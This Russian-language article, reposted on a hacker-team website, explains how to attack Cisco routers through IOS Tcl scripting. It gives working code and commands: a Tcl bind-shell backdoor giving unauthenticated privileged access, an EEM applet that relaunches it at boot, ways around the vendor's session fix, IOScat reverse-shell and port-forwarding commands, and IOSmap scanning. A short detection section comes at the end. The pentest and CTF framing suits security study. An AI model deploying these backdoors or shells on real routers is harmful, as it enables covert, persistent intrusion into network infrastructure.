| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 3.17.156.200
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

Покоряем Cisco: атака через TCL
Достаточно часто в ходе проведения работ по тестированию на проникновение встречаются машрутизаторы Cisco Systems с привилегированным доступом (level 15), что позволяет использовать их для дальнейшего развития атак с использованием функционала TCL. Сейчас я опишу несколько методов данных атак, и поверь, их использование действительно приводит к повышению прав на, якобы, защищенном маршрутизаторе.

Tcl – (Tool Command Language) – скриптовый язык часто применяемых с графической библиотекой Tk, придуман в начале 80-х годов и из-за своей простоты продолжает повсеместно использоваться как встроенный в различные приложения; вспомним хотя бы программы expect или irc-ботов eggdrop, а также использование его как модуля к серверной части apache mod_tcl. В операционную систему IOS, используемую маршрутизаторами Cisco Tcl, был введен с версии IOS 12.3(2)T, что позволило реализовать в маршрутизаторах Cisco Systems функции выполнения "пользовательских" скриптов. Как наиболее часто встречаемый пример, использование IOS IVR для создания интерактивных голосовых меню в системах IP-телефонии.

Используя функционал Tcl, мы имеем возможность работать с сокетами, в данном случае открывается некоторая перспектива использования маршрутизатора для следующих действий:
Разработки собственного варианта "бэкдора" с целью закрепления системы и доступа к ней в обход штатных механизмов защиты;
Проведения сканирования портов в различных сегментах сети;
Проброса действующих портов на порт интерфейса, организации обратного (реверсного) доступа к удаленным устройствам;
Разработки вариантов скриптов для возможности перебора паролей (брутфорса) различных устройств и серверов в сети.

Данными методами также может воспользоваться злоумышленник, получив доступ к TFTP-серверу компании, где размещены существующие скрипты и принудительно заменить существующий сценарий на собственный. В этом случае произойдет его загрузка и запуск на маршрутизаторе.
Практикуемся

Давай попробуем понять, как это можно реализовать с помощью удаленного шелла, который можно использовать без явной аутентификации с входом на назначенный порт по протоколу Telnet. Подобный сценарий использовался в качестве задания на соревнованиях "Рускрипто CTF 2010".

В первую очередь давай разберем, как работает Tcl на устройствах под управлением IOS.

Загрузка и исполнение TCL-скрипта:

Для первичной загрузки TCL-скриптов необходимо иметь привилегированный доступ не ниже уровня 15 (enable). Скрипт Tcl необходимо загружать удаленно, для этого можно использовать такие протоколы, как TFTP, FTP, RCP, SCP. Загрузку и выполнение скрипта можно выполнять как напрямую в RAM-маршрутизатора, так и в FLASH-память c последующим его запуском с файловой системы IOS.

Загрузка скрипта во FLASH и последующее его выполнение:

Router# copy tftp://192.168.1.4/script.tcl flash://script.tcl

Router# tclsh flash://script.tcl

Загрузка скрипта непосредственно с TFTP-сервера:

Router# tclsh tftp://192.168.1.4/script.tcl

Ниже приведен пример TCL-скрипта, который при запуске захватывает сокет на порт TCP/2002 и связывает его с интерфейсом командной строки (EXEC). Загрузка скрипта выполняется методами, описанными выше (в приведенном примере с сервера TFTP).

proc callback {sock addr port} {

fconfigure $sock -translation crlf -buffering line

puts $sock "Cisco router admin console:"

puts $sock " "

puts -nonewline $sock "Router# "

flush $sock

fileevent $sock readable [list echo $sock]

}



proc echo {sock} {

global var



flush $sock



if {[catch {gets $sock line}] ||

[eof $sock]} {

return [close $sock]

}



catch {exec $line} result

if {[catch {puts $sock $result}]} {

return [close $sock]

}



puts -nonewline $sock "Router# "

flush $sock

}



set port 2002

set sh [socket -server callback $port]

vwait var

close $sh

После загрузки и последующего запуска вышеприведенного скрипта появится возможность зайти в систему (режим EXEC) без использования учетных записей и выполнять любые команды с использованием привилегий супер-пользователя (level 15).

[ptsec@maxpatrol ~]$ telnet router 2002

Trying 192.168.1.10...

Connected to router.

Escape character is '^]'.



Cisco router admin console:



Router#

Далее я бы хотел рассказать о некоторых ограничениях, которые необходимо помнить при работе с Tcl на устройствах под управлением IOS. В первых версиях IOS, включающих поддержку Tcl, скрипт продолжал свою работу даже при прерывании EXEC-сессии. В новых версиях последовало исправление, которое завершает работу скрипта при обрыве линии или по команде clear line. Этот "патч-фикс" производителя можно обойти несколькими способами:

1. На линиях, (console 0 или vty 0 4), с которых запускается скрипт, применить команду exec-timeout 0 0, в противном случае по завершении сессии скрипт завершит свою работу.

Router>en

Router#conf t

Enter configuration commands, one per line. End with CNTL/Z.

Router(config)#line vty 0 4

Router(config-line)#exec-timeout 0 0

2. Производить запуск скрипта с использованием апплетов EEM (Embedded Event Manager) по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру. На примере ниже показана конфигурация, которая загружает скрипт с TFTP после запуска маршрутизатора по истечении 20 секунд.

Router(config)# event manager applet BACKDOOR

Router(config-applet)# event timer countdown name Delay time 20

Router(config-applet)# action 1.0 cli command "enable"

Router(config-applet)# action 1.1 cli command "tclsh tftp://192.168.1.4/script.tcl"

Router(config-applet)# action 1.2 syslog msg "Backdoor is executed"

3. Конвертировать TCL-скрипт в формат политик EEM (Embedded Event Manager) и запускать их по триггеру, которым может быть любое действие, в том числе периодический запуск по таймеру.
Готовые утилиты

В ряде ситуаций можно использовать готовые скрипты, такие как IOScat и IOSmap, входящие в IOScat, позволяющие осуществлять проброс портов, прием и передачу файлов путем манипуляций с сокетами. Используя встроенный язык TCL, можно использовать маршрутизатор аналогично ПК с установленным приложением Netcat, предварительно загрузив скрипт TCL в flash-маршрутизатор или через TFTP-сервер напрямую в RAM. Методика загрузки и установки TCL на маршрутизатор описана выше.

Примеры реализации:

Организация бэкдора на маршрутизаторе (2002 порт):

Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 –oe

Организация реверсного шелла на адрес атакующего (порт 12345):

Router# tclsh tftp://192.168.1.4/ioscat.tcl -ie -oa192.168.1.4 -op12345

(на твоей машине приемником шелла выступает обычный netcat: nc -l -p 12345)

Проброс удаленного порта на локальный порт маршрутизатора (2002):

Router# tclsh tftp://192.168.1.4/ioscat.tcl -ip2002 -oa192.168.2.1
-op80

У данного скрипта есть много других примеров, например копирование файлов с использованием сокетов, имитация телнет-сессии на удаленном хосте и много других функций, которые можно посмотреть на сайте разработчика.

Скрипт с названием IOSmap – не что иное, как попытка создать аналог сканера nmap, конечно, в урезанном функционале, но в данном случае достаточно эксклюзивным для работы в среде IOS. Функционал этого TCL-скрипта позволяет производить сканирование диапазонов IP-адресов на открытые TCP/UDP-порты, в том числе используя метод инвентаризации хостов посредством протокола ICMP.

Рассмотрим примеры использования:

Router>en

Router#tclsh tftp://192.168.1.4/iosmap.tcl 192.168.1.1-5 -p20-24,80,443

Loading iosmap.tcl from 192.168.1.4 (via FastEthernet0/0): !

[OK - 15912 bytes]



Loading services.list from 192.168.1.4 (via FastEthernet0/0): !

[OK - 42121 bytes]



Starting IOSmap 0.9 ( http://www.defaultroute.ca ) at 2002-03-01 02:59 UTC



Free Memory on Platform = 29038388 / Memory required for this scan = 2622514



Host 192.168.1.1 is unavailable



Host 192.168.1.2 is unavailable



Host 192.168.1.3 is unavailable



Interesting ports on host 192.168.1.4

PORT STATE SERVICE

20/tcp closed ftp-data

21/tcp closed ftp

22/tcp closed ssh

23/tcp closed telnet

24/tcp closed priv-mail

80/tcp open http

443/tcp closed https



Host 192.168.1.5 is unavailable



Router#

Изменение вариантов сканирования скрипта возможно путем добавления аргументов:

-sP – только по ответу хоста;
-sT – TCP-портов методом TCP connect;
-sU – UDP-портов через функционал IP SLA.

Учитывая богатые возможности ТСL, можно разработать множество подобных, интересных приложений для реализации их в сетевой среде на оборудовании Cisco Systems.
Методы обнаружения

Имея возможность запускать скрипты, также интересно иметь возможность отследить их исполнение. Сделать это можно, подсмотрев процессы и состояние портов на маршрутизаторе, используя следующие команды маршрутизатора:

Router#show processes cpu | i Tcl

212 2284 17762 128 3.68% 2.88% 0.67% 162 Tcl Serv - tty16



Router#show tcp brief all

TCB Local Address Foreign Address (state)

659CDABC 192.168.1.10.23 192.168.1.4.5163 ESTAB

654485B4 *.2002 *.* LISTEN

65CA2D04 *.80 *.* LISTEN

Начиная с версии IOS 12.4(4)Т появилась возможность использования CPP (Control Plane Policy):

Router#show control-plane host open-ports

Active internet connections (servers and established)

Prot Local Address Foreign Address Service State

tcp *:23 *:0 Telnet LISTEN

tcp *:23 192.168.1.4:1379 Telnet ESTABLIS

tcp *:80 *:0 HTTP CORE LISTEN

tcp *:1234 *:0 Tcl Serv - tty163 LISTEN

Также можно использовать и автоматизированные средства, такие как система контроля защищенности и соответствия стандартам MaxPatrol (доступен для скачивания на ptsecurity.ru).



Категория: Общие Статьи | Добавил: aka_kludge (16.02.2011) | Автор: Ильин Роман (Positive Technologies)
Просмотров: 2165 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

11:45
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика